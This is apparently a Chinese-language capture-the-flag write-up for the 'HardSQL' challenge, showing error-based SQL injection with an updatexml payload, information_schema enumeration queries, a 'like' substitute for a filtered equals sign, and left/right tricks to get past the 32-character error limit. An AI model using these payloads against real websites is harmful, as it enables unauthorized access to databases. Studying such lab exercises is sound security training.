刷题[极客大挑战 2019]HardSQL
解题思路
打开是一个登陆框,考点sql注入了,先正常尝试一波
发现居然是get类型
输入and发现有waf过滤,那fuzz一波看看过滤了什么
fuzz
union被过滤,并且绕过union的几种方法同样被过滤
报错注入
有报错,尝试下是否报错注入
payload:1'and (updatexml(1,concat(0x7e,(payload),0x7e),1));
爆数据库:select database()
爆表名:select table_name from information_schema.tables where table_schema='数据库名'
爆列名:select column_name from information_schema.columns where table_name='表名'
爆字段:select flag from 数据库.表名
因为这里等于号被过滤,所以用like替换等于号
爆出数据库名geek
爆出表名H4rDsq1
爆出列名id,username,password
爆出部分password,即flag值
需要注意的是:
xpath报错只显示32位结果,需要借助mid函数来进行字符截取从而显示32位以后的数据。
mid((select group_concat(flag) from flag),32)
但很不幸的是,这里mid函数被禁了。但是用left,right拼接,思路一样
总结思路
常规的报错注入,根据payload打就行了,唯一注意的是xpath报错只显示32位结果,需要借助其他函数截取显示
知识点
- sql注入
- 报错注入